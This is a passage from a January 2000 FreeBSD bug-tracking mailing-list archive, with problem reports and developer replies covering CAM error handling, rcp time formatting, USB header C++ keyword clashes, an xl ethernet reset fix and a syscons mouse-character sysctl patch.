coming from itself. > > # uname -a > FreeBSD backmail.mydom.org 3.4-STABLE FreeBSD 3.4-STABLE #0: Tue Dec 21 > 14:23:45 EST 1999 > postman@backmail.mydom.org:/u1/FreeBSD-3S/src/sys/compile/BACKMAIL i386 the umntall request is sent by another box ! So I bet you've still got another 3.3 BSD box and you use 192.168.229.3 as NFS-Server for it. I fixed the broken client behaviour and nothing else. hope this explains it. Martin Blapp, mb@imp.ch ------------------------------------------------ Improware AG, UNIX solution and service provider Zurlindenstrasse 29, 4133 Pratteln, Switzerland Phone: +41 79 370 26 05, Fax: +41 61 826 93 01 ------------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 14: 8:46 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from vtopus.cs.vt.edu (vtopus.cs.vt.edu [128.173.40.24]) by hub.freebsd.org (Postfix) with ESMTP id A2FCE158BA; Fri, 7 Jan 2000 14:08:38 -0800 (PST) (envelope-from dhagan@cs.vt.edu) Received: from localhost (dhagan@localhost) by vtopus.cs.vt.edu (8.9.1a/8.9.1) with SMTP id RAA20539; Fri, 7 Jan 2000 17:08:22 -0500 (EST) Date: Fri, 7 Jan 2000 17:08:22 -0500 (EST) From: Daniel Hagan To: Christian Weisgerber Cc: freebsd-security@freebsd.org, bugs@freebsd.org Subject: bin/15830 - Re: dump over ssh In-Reply-To: <855ia0$1up8$1@bigeye.rhein-neckar.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 7 Jan 2000, Christian Weisgerber wrote: > This doesn't handle end-of-tape recognition, i.e. you can't do > multi-volume dumps. While I don't need this functionality at work anymore, it would be nice to have in general. If you can send me your patches (the web PR version is munged), I'll test them here (I've got access to FreeBSD & Tru64 UNIX aka OSF/1). Daniel -- Daniel Hagan Computer Science CSE dhagan@cs.vt.edu http://www.cs.vt.edu/~dhagan/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 14:11:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id AF47314F9B; Fri, 7 Jan 2000 14:11:08 -0800 (PST) (envelope-from dan@FreeBSD.org) Received: (from dan@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id OAA26657; Fri, 7 Jan 2000 14:11:08 -0800 (PST) (envelope-from dan@FreeBSD.org) Date: Fri, 7 Jan 2000 14:11:08 -0800 (PST) From: Message-Id: <200001072211.OAA26657@freefall.freebsd.org> To: nkazushi@highway.ne.jp, dan@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/15968: "send-pr" does'nt work Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: "send-pr" does'nt work State-Changed-From-To: open->closed State-Changed-By: dan State-Changed-When: Fri Jan 7 14:09:29 PST 2000 State-Changed-Why: Try setting $EDITOR to vi (or something similiar). Pilot error. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 18:50:35 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5AD5815174 for ; Fri, 7 Jan 2000 18:50:33 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA67373; Fri, 7 Jan 2000 18:50:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from europe.std.com (europe.std.com [199.172.62.20]) by hub.freebsd.org (Postfix) with ESMTP id A051B14D8F for ; Fri, 7 Jan 2000 18:41:13 -0800 (PST) (envelope-from cmascott@world.std.com) Received: from world.std.com (root@world-f.std.com [199.172.62.5]) by europe.std.com (8.9.3/8.9.3) with ESMTP id VAA26384 for ; Fri, 7 Jan 2000 21:41:06 -0500 (EST) Received: (from cmascott@localhost) by world.std.com (8.9.3/8.9.3) id VAA17638 for FreeBSD-gnats-submit@freebsd.org; Fri, 7 Jan 2000 21:38:20 -0500 (EST) Message-Id: <200001080238.VAA17638@world.std.com> Date: Fri, 7 Jan 2000 21:38:20 -0500 (EST) From: cmascott@world.std.com Reply-To: cmascott@world.std.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15975: Bug in cam_periph.c:cam_periph_error() Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15975 >Category: kern >Synopsis: Bug in cam_periph.c:cam_periph_error() >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jan 7 18:50:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Carl Mascott >Release: FreeBSD 3.3-RELEASE i386 >Organization: >Environment: FreeBSD 3.3-RELEASE i386 FreeBSD 3.4-RELEASE i386 FreeBSD 4.0-current as of 12/24/99 >Description: Inspection of source code revealed the bug shown below. No symptoms observed, not known how to get the kernel to take the path to the suspect code. Looks like a bug to me. Looks like a bug to Kenneth Merry. If it looks like a bug to Justin Gibbs, then please commit the fix below. >How-To-Repeat: As stated above, no symptoms observed. >Fix: Baseline for the following patch is cam_periph.c v 1.9.2.7 (3.3-RELEASE). *** sys/cam/cam_periph.c.org Sun Aug 29 12:21:38 1999 --- sys/cam/cam_periph.c Thu Dec 23 11:40:40 1999 *************** *** 1434,1454 **** SCSI_STATUS_CHECK_COND && status != CAM_AUTOSENSE_FAIL) { /* no point in decrementing the retry count */ panic("cam_periph_error: scsi status of " "CHECK COND returned but no sense " "information is availible. " "Controller should have returned " "CAM_AUTOSENSE_FAILED"); /* NOTREACHED */ error = EIO; ! } else if (ccb->ccb_h.retry_count > 0) { /* * XXX KDM shouldn't there be a better * argument to return?? */ error = EIO; } else { /* decrement the number of retries */ retry = ccb->ccb_h.retry_count > 0; if (retry) ccb->ccb_h.retry_count--; --- 1434,1454 ---- SCSI_STATUS_CHECK_COND && status != CAM_AUTOSENSE_FAIL) { /* no point in decrementing the retry count */ panic("cam_periph_error: scsi status of " "CHECK COND returned but no sense " "information is availible. " "Controller should have returned " "CAM_AUTOSENSE_FAILED"); /* NOTREACHED */ error = EIO; ! } else if (ccb->ccb_h.retry_count == 0) { /* * XXX KDM shouldn't there be a better * argument to return?? */ error = EIO; } else { /* decrement the number of retries */ retry = ccb->ccb_h.retry_count > 0; if (retry) ccb->ccb_h.retry_count--; >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 19:57: 0 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 038DB15273; Fri, 7 Jan 2000 19:56:59 -0800 (PST) (envelope-from ken@FreeBSD.org) Received: (from ken@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id TAA48017; Fri, 7 Jan 2000 19:56:09 -0800 (PST) (envelope-from ken@FreeBSD.org) Date: Fri, 7 Jan 2000 19:56:09 -0800 (PST) From: Message-Id: <200001080356.TAA48017@freefall.freebsd.org> To: cmascott@world.std.com, ken@FreeBSD.org, freebsd-bugs@FreeBSD.org, ken@FreeBSD.org Subject: Re: kern/15975: Bug in cam_periph.c:cam_periph_error() Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Bug in cam_periph.c:cam_periph_error() State-Changed-From-To: open->analyzed State-Changed-By: ken State-Changed-When: Fri Jan 7 19:55:17 PST 2000 State-Changed-Why: I've looked at it, and it appears to be a bug. Responsible-Changed-From-To: freebsd-bugs->ken Responsible-Changed-By: ken Responsible-Changed-When: Fri Jan 7 19:55:17 PST 2000 Responsible-Changed-Why: I'll handle this. I asked Carl to submit a PR so I don't forget to do something about this. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 2: 0: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id EC0F015269 for ; Sat, 8 Jan 2000 02:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id CAA69352; Sat, 8 Jan 2000 02:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 12CCB15207; Sat, 8 Jan 2000 01:51:30 -0800 (PST) Message-Id: <20000108095130.12CCB15207@hub.freebsd.org> Date: Sat, 8 Jan 2000 01:51:30 -0800 (PST) From: klh@netcom.com To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: bin/15981: rcp -p fails when times have high bit set Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15981 >Category: bin >Synopsis: rcp -p fails when times have high bit set >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 8 02:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Ken Harrenstien >Release: 3.3 >Organization: >Environment: n/a >Description: This code fragment should be using %ul instead of %ld for both fields. if (pflag) { (void)snprintf(path, sizeof(path), "T%ld 0 %ld 0\n", (long)statp->st_mtimespec.tv_sec, (long)statp->st_atimespec.tv_sec); (void)write(rem, path, strlen(path)); >How-To-Repeat: Create a file with a st_mtime that has the high bit set. Attempt to copy it with "rcp -p foo target:." where target is a 64-bit system such as an Alpha (running D/U in this case). Will fail with a "mtime.sec not delimited" screwup message due to presence of a minus sign. However, it should not be necessary to reproduce this to realize that the given code fragment is a time bomb, so to speak... >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 2: 3:36 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id BBF7E14F49; Sat, 8 Jan 2000 02:03:34 -0800 (PST) (envelope-from brian@FreeBSD.org) Received: (from brian@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id CAA69587; Sat, 8 Jan 2000 02:03:34 -0800 (PST) (envelope-from brian@FreeBSD.org) Date: Sat, 8 Jan 2000 02:03:34 -0800 (PST) From: Message-Id: <200001081003.CAA69587@freefall.freebsd.org> To: brian@FreeBSD.org, freebsd-bugs@FreeBSD.org, obrien@FreeBSD.org Subject: Re: bin/15932: /usr/bin/cpp behavioral change breaks calendar(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: /usr/bin/cpp behavioral change breaks calendar(1) Responsible-Changed-From-To: freebsd-bugs->obrien Responsible-Changed-By: brian Responsible-Changed-When: Sat Jan 8 02:03:08 PST 2000 Responsible-Changed-Why: This belongs to our compiler guru :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 3:10: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 7EAEA152CE for ; Sat, 8 Jan 2000 03:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA74875; Sat, 8 Jan 2000 03:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 0394814CC1; Sat, 8 Jan 2000 03:09:14 -0800 (PST) Message-Id: <20000108110914.0394814CC1@hub.freebsd.org> Date: Sat, 8 Jan 2000 03:09:14 -0800 (PST) From: afo@zlug.org To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: kern/15983: C++ keywords in kernel header files Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15983 >Category: kern >Synopsis: C++ keywords in kernel header files >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Jan 8 03:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Andre Fornacon >Release: FreeBSD 3.3R >Organization: zLUG >Environment: FreeBSD rox.zlug.org 3.3-RELEASE FreeBSD 3.3-RELEASE #16: Fri Jan 7 18:52:41 CET 2000 root@rox.zlug.org:/usr/src/sys/compile/ROX i386 >Description: use of c++ keyword 'class' in kernel header file dev/sub/usb.h, around line 496 in struct usb_device_info i this need this header file for application programming. problem affects current kernel source - cvsup'd 2000/01/08 - too i hope the included patch catches all access of the class field of struct usb_device_info >How-To-Repeat: compile the following sample code with g++ -I/src/sys/dev -c main.c: -- begin main.c -- #include -- end main.c -- compile gives: In file included from main.c:1: /usr/src/sys/dev/usb/usb.h:476: parse error before `;' >Fix: cvs diff: Diffing . Index: usb.h =================================================================== RCS file: /home/FreeBSD/CURRENT/src/sys/dev/usb/usb.h,v retrieving revision 1.17 diff -u -r1.17 usb.h --- usb.h 1999/12/29 04:35:47 1.17 +++ usb.h 2000/01/01 18:16:27 @@ -489,7 +489,7 @@ u_int16_t productNo; /* idProduct */ u_int16_t vendorNo; /* idVendor */ u_int16_t releaseNo; /* bcdDevice */ - u_int8_t class; /* bDeviceClass */ + u_int8_t clazz; /* bDeviceClass */ u_int8_t subclass; /* bDeviceSubclass */ u_int8_t protocol; /* bDeviceProtocol */ u_int8_t config; /* config index */ Index: usb_subr.c =================================================================== RCS file: /home/FreeBSD/CURRENT/src/sys/dev/usb/usb_subr.c,v retrieving revision 1.21 diff -u -r1.21 usb_subr.c --- usb_subr.c 1999/12/03 08:41:11 1.21 +++ usb_subr.c 2000/01/08 11:53:17 @@ -1160,7 +1160,7 @@ di->vendorNo = UGETW(dev->ddesc.idVendor); di->productNo = UGETW(dev->ddesc.idProduct); di->releaseNo = UGETW(dev->ddesc.bcdDevice); - di->class = dev->ddesc.bDeviceClass; + di->clazz = dev->ddesc.bDeviceClass; di->subclass = dev->ddesc.bDeviceSubClass; di->protocol = dev->ddesc.bDeviceProtocol; di->config = dev->config; >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 4:50:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 0317A158F7 for ; Sat, 8 Jan 2000 04:50:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id EAA84657; Sat, 8 Jan 2000 04:50:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sat, 8 Jan 2000 04:50:03 -0800 (PST) Message-Id: <200001081250.EAA84657@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Bruce Evans Subject: Re: bin/15981: rcp -p fails when times have high bit set Reply-To: Bruce Evans Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15981; it has been noted by GNATS. From: Bruce Evans To: klh@netcom.com Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/15981: rcp -p fails when times have high bit set Date: Sat, 8 Jan 2000 23:49:24 +1100 (EST) On Sat, 8 Jan 2000 klh@netcom.com wrote: > >Description: > This code fragment should be using %ul instead of %ld for both fields. > > if (pflag) { > (void)snprintf(path, sizeof(path), "T%ld 0 %ld 0\n", > (long)statp->st_mtimespec.tv_sec, > (long)statp->st_atimespec.tv_sec); > (void)write(rem, path, strlen(path)); Not under systems with signed time_t like FreeBSD. Using %ul would break times before the epoch (about 1970). > >How-To-Repeat: > Create a file with a st_mtime that has the high bit set. Attempt > to copy it with "rcp -p foo target:." > where target is a 64-bit system such as an Alpha (running D/U in this > case). Will fail with a "mtime.sec not delimited" screwup message > due to presence of a minus sign. This seems to be a defect in D/U :-). An st_mtime with the high bit set is negative. Negative times give undefined behaviour in POSIX.1. FreeBSD supports them, but actually using them gives interoperability problems like the one you noticed. > >Fix: Don't create files with an st_mtime that is before the epoch. Related bugs: FreeBSD's rcp.c lacks range checking of times sent by the target system. Large times are silently truncated to (time_t)LONG_MAX, i.e., to LONG_MAX on i386's and -1 on alphas. Large negative times are silently truncated to (time_t)LONG_MIN, i.e., to LONG_MIN on i386's and 0 on alphas. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 5:10:12 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C3AC3158F7 for ; Sat, 8 Jan 2000 05:10:06 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id FAA85616; Sat, 8 Jan 2000 05:10:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from news.IAEhv.nl (news.IAE.nl [194.151.64.4]) by hub.freebsd.org (Postfix) with ESMTP id 5853E14BEE for ; Sat, 8 Jan 2000 05:01:31 -0800 (PST) (envelope-from Arjan.deVet@adv.iae.nl) Received: (from uucp@localhost) by news.IAEhv.nl (8.9.1/8.9.1) with IAEhv.nl id OAA24068 for FreeBSD-gnats-submit@freebsd.org; Sat, 8 Jan 2000 14:01:30 +0100 (MET) Received: by adv.iae.nl (Postfix, from userid 100) id A321E22CD; Sat, 8 Jan 2000 14:01:09 +0100 (CET) Message-Id: <20000108130109.A321E22CD@adv.iae.nl> Date: Sat, 8 Jan 2000 14:01:09 +0100 (CET) From: Arjan.deVet@adv.iae.nl (Arjan de Vet) Reply-To: Arjan.deVet@adv.iae.nl (Arjan de Vet) To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15986: xl ethernet interface hanging Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15986 >Category: kern >Synopsis: xl ethernet interface hanging >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 8 05:10:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Arjan de Vet >Release: FreeBSD 4.0-CURRENT >Organization: >Environment: FreeBSD 4.0-CURRENT >Description: I noticed that my xl0 ethernet interface didn't work anymore (or with enormous delays) and I traced it back to revision 1.69 in if_xl.c: Index: if_xl.c =================================================================== RCS file: /home/freebsd/CVS/src/sys/pci/if_xl.c,v retrieving revision 1.68 retrieving revision 1.69 diff -u -u -5 -w -r1.68 -r1.69 --- if_xl.c 1999/10/14 21:49:17 1.68 +++ if_xl.c 1999/10/25 20:52:32 1.69 @@ -2389,13 +2389,13 @@ /* * Cancel pending I/O and free all RX/TX buffers. */ xl_stop(sc); - xl_reset(sc); + CSR_WRITE_2(sc, XL_COMMAND, XL_CMD_TX_RESET); xl_wait(sc); - DELAY(1000); + DELAY(10000); if (sc->xl_miibus != NULL) mii = device_get_softc(sc->xl_miibus); /* Init our MAC address */ dmesg output: xl0: <3Com 3c900B-TPO Etherlink XL> irq 12 at device 11.0 on pci0 xl0: Ethernet address: 00:50:04:ea:f9:c0 xl0: media options word: 8 xl0: guessing 10BaseT transceiver xl0: found 10baseT xl0: selecting 10baseT transceiver, half duplex bpf: xl0 attached >How-To-Repeat: >Fix: Because the comment talks about RX/TX buffers I tried this fix: Index: if_xl.c =================================================================== RCS file: /home/freebsd/CVS/src/sys/pci/if_xl.c,v retrieving revision 1.71 diff -u -r1.71 if_xl.c --- if_xl.c 2000/01/03 15:28:47 1.71 +++ if_xl.c 2000/01/08 12:30:48 @@ -2426,6 +2426,8 @@ */ xl_stop(sc); + CSR_WRITE_2(sc, XL_COMMAND, XL_CMD_RX_RESET); + xl_wait(sc); CSR_WRITE_2(sc, XL_COMMAND, XL_CMD_TX_RESET); xl_wait(sc); DELAY(10000); and then my xl0 interface worked again. Is this a correct solution? >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 10:10: 9 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id CD6E91569D for ; Sat, 8 Jan 2000 10:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id KAA60586; Sat, 8 Jan 2000 10:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from kronos.alcnet.com (kronos.alcnet.com [63.69.28.22]) by hub.freebsd.org (Postfix) with ESMTP id 0C2811507F for ; Sat, 8 Jan 2000 10:00:50 -0800 (PST) (envelope-from kbyanc@kronos.alcnet.com) Received: (from kbyanc@localhost) by home.posi.net (8.9.3/8.9.3) id MAA00451; Sat, 8 Jan 2000 12:37:11 -0500 (EST) (envelope-from kbyanc) Message-Id: <200001081737.MAA00451@home.posi.net> Date: Sat, 8 Jan 2000 12:37:11 -0500 (EST) From: kbyanc@posi.net Reply-To: kbyanc@posi.net To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15996: patch to add sysctl variable to control SC_MOUSE_CHAR at run-time Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15996 >Category: kern >Synopsis: patch adds hw.syscons.sc_mouse_char sysctl variable >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Jan 8 10:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Kelly Yancey >Release: FreeBSD 3.4-STABLE i386 >Organization: >Environment: >Description: As discussed in message thread on -hackers (see message ID 20000106212404.A30244@dcse.fee.vutbr.cz): "Nearly everyone who wants to set up their national locale needs to recompile the kernel, since some important characters are hidden under mouse cursor." This is because syscons needs to munge 4 character font definitions to create the illusion of a graphical mouse cursor in text mode. The attached patch remedies this situation by creating a new sysctl variable hw.syscons.sc_mouse_char which can be used to redefine the base character used for creating the mouse pointer image at run-time. It defaults to the setting of SC_MOUSE_CHAR which can be used to define a preference at compile-time (courtesy Kazu). It should be noted that on most, if not all, VGA adapters are hardwired to copy the 0th bit of into the 9th bit of character fonts in the range 0xc0-0xdf, but for all other characters it just leaves them blank. If you move the base character for the mouse pointer out of this range, you will see gaps in the pointer (or for an even weirder effect, have the mouse character range cross the boundary between 9th-bit copied and non-copied character definitions). However, this is only the case in some video modes (the most notable being all 80-character wide text modes, i.e. the default 80x25). 90-character wide text modes that are available in -current's syscons do not perform 9th bit copying (hence how they reclaim pixels to use for the extra 10 columns). Finally, for a psycadelic experience, you can set the hw.syscons.sc_mouse_char to a value like 32 to overwrite the space character with the mouse image. Move the mouse around and free your mind. :) Bug reports, bug reports, how can it be so many bug reports for FreeBSD Not typos or glitches, there's more there it seems, like ports, docs, and man pages by hackers like me. -Kelly >How-To-Repeat: >Fix: --- sys/dev/syscons/syscons.c.orig Fri Jan 7 21:31:44 2000 +++ sys/dev/syscons/syscons.c Sat Jan 8 11:56:05 2000 @@ -48,6 +48,7 @@ #include #include #include +#include #include #include #include @@ -239,6 +240,7 @@ #define SC_CONSOLE 255 vm_offset_t Crtat; static const int nsccons = MAXCONS+2; +static int sc_mouse_char = SC_MOUSE_CHAR; #define WRAPHIST(scp, pointer, offset)\ ((scp)->history + ((((pointer) - (scp)->history) + (scp)->history_size \ @@ -337,6 +339,39 @@ static void remove_cutmarking(scr_stat *scp); static void do_bell(scr_stat *scp, int pitch, int duration); static timeout_t blink_screen; +static void reload_current_font(scr_stat *scp); + +static int +sysctl_sc_mouse_char SYSCTL_HANDLER_ARGS +{ + int error; + + error = sysctl_handle_int(oidp, &sc_mouse_char, 0, req); + if (!error && req->newptr) { + /* Limit range to ensure mouse pointer characters exist in font */ + if(sc_mouse_char < 0) sc_mouse_char = 0; + if(sc_mouse_char > 256 - 4) sc_mouse_char = 256 - 4; + + /* + * The base character for drawing the mouse pointer has changed. + * Clear the pointer, restore the original font, and then redraw + * the pointer mangling characters at the new location. + */ + remove_mouse_image(cur_console); + + /* Reload fonts to demangle character defs used by mouse cursor. */ + reload_current_font(cur_console); + + if (cur_console->status & MOUSE_VISIBLE) + draw_mouse_image(cur_console); + } + return (error); +} + +SYSCTL_NODE(_hw, OID_AUTO, syscons, CTLFLAG_RW, 0, "Syscons driver mgmt"); +SYSCTL_PROC(_hw_syscons, OID_AUTO, sc_mouse_char, CTLTYPE_INT|CTLFLAG_RW, + 0, 0, sysctl_sc_mouse_char, "I", + "First character of four character range used to draw mouse cursor"); #define CDEV_MAJOR 12 @@ -4096,27 +4131,7 @@ Crtat = scp->adp->va_window; if (!(scp->status & GRAPHICS_MODE)) { - /* load appropriate font */ - if (!(scp->status & PIXEL_MODE) && ISFONTAVAIL(scp->adp->va_flags)) { - if (scp->font_size < 14) { - if (fonts_loaded & FONT_8) - copy_font(scp, LOAD, 8, font_8); - } else if (scp->font_size >= 16) { - if (fonts_loaded & FONT_16) - copy_font(scp, LOAD, 16, font_16); - } else { - if (fonts_loaded & FONT_14) - copy_font(scp, LOAD, 14, font_14); - } - /* - * FONT KLUDGE: - * This is an interim kludge to display correct font. - * Always use the font page #0 on the video plane 2. - * Somehow we cannot show the font in other font pages on - * some video cards... XXX - */ - (*vidsw[scp->ad]->show_font)(scp->adp, 0); - } + reload_current_font(scp); mark_all(scp); } @@ -4217,13 +4232,13 @@ } if (scp->status & MOUSE_VISIBLE) { - if ((scp->cursor_saveunder & 0xff) == SC_MOUSE_CHAR) + if ((scp->cursor_saveunder & 0xff) == sc_mouse_char) bcopy(&scp->mouse_cursor[0], cursor, scp->font_size); - else if ((scp->cursor_saveunder & 0xff) == SC_MOUSE_CHAR + 1) + else if ((scp->cursor_saveunder & 0xff) == sc_mouse_char + 1) bcopy(&scp->mouse_cursor[32], cursor, scp->font_size); - else if ((scp->cursor_saveunder & 0xff) == SC_MOUSE_CHAR + 2) + else if ((scp->cursor_saveunder & 0xff) == sc_mouse_char + 2) bcopy(&scp->mouse_cursor[64], cursor, scp->font_size); - else if ((scp->cursor_saveunder & 0xff) == SC_MOUSE_CHAR + 3) + else if ((scp->cursor_saveunder & 0xff) == sc_mouse_char + 3) bcopy(&scp->mouse_cursor[96], cursor, scp->font_size); else bcopy(font_buffer+((scp->cursor_saveunder & 0xff)*scp->font_size), @@ -4551,16 +4566,16 @@ #endif font_loading_in_progress = TRUE; (*vidsw[scp->ad]->load_font)(scp->adp, 0, 32, scp->mouse_cursor, - SC_MOUSE_CHAR, 4); + sc_mouse_char, 4); font_loading_in_progress = FALSE; - writew(crt_pos, (*(scp->mouse_pos) & 0xff00) | SC_MOUSE_CHAR); + writew(crt_pos, (*(scp->mouse_pos) & 0xff00) | sc_mouse_char); writew(crt_pos+2*scp->xsize, - (*(scp->mouse_pos + scp->xsize) & 0xff00) | (SC_MOUSE_CHAR + 2)); + (*(scp->mouse_pos + scp->xsize) & 0xff00) | (sc_mouse_char + 2)); if (scp->mouse_xpos < (scp->xsize-1)*8) { - writew(crt_pos + 2, (*(scp->mouse_pos + 1) & 0xff00) | (SC_MOUSE_CHAR + 1)); + writew(crt_pos + 2, (*(scp->mouse_pos + 1) & 0xff00) | (sc_mouse_char + 1)); writew(crt_pos+2*scp->xsize + 2, - (*(scp->mouse_pos + scp->xsize + 1) & 0xff00) | (SC_MOUSE_CHAR + 3)); + (*(scp->mouse_pos + scp->xsize + 1) & 0xff00) | (sc_mouse_char + 3)); } mark_for_update(scp, scp->mouse_pos - scp->scr_buf); mark_for_update(scp, scp->mouse_pos + scp->xsize + 1 - scp->scr_buf); @@ -4671,6 +4686,31 @@ scp->xsize * scp->ysize); blink_in_progress--; timeout(blink_screen, scp, hz / 10); + } +} + +static void +reload_current_font(scr_stat *scp) +{ + if (!(scp->status & PIXEL_MODE) && ISFONTAVAIL(scp->adp->va_flags)) { + if (scp->font_size < 14) { + if (fonts_loaded & FONT_8) + copy_font(scp, LOAD, 8, font_8); + } else if (scp->font_size >= 16) { + if (fonts_loaded & FONT_16) + copy_font(scp, LOAD, 16, font_16); + } else { + if (fonts_loaded & FONT_14) + copy_font(scp, LOAD, 14, font_14); + } + /* + * FONT KLUDGE: + * This is an interim kludge to display correct font. + * Always use the font page #0 on the video plane 2. + * Somehow we 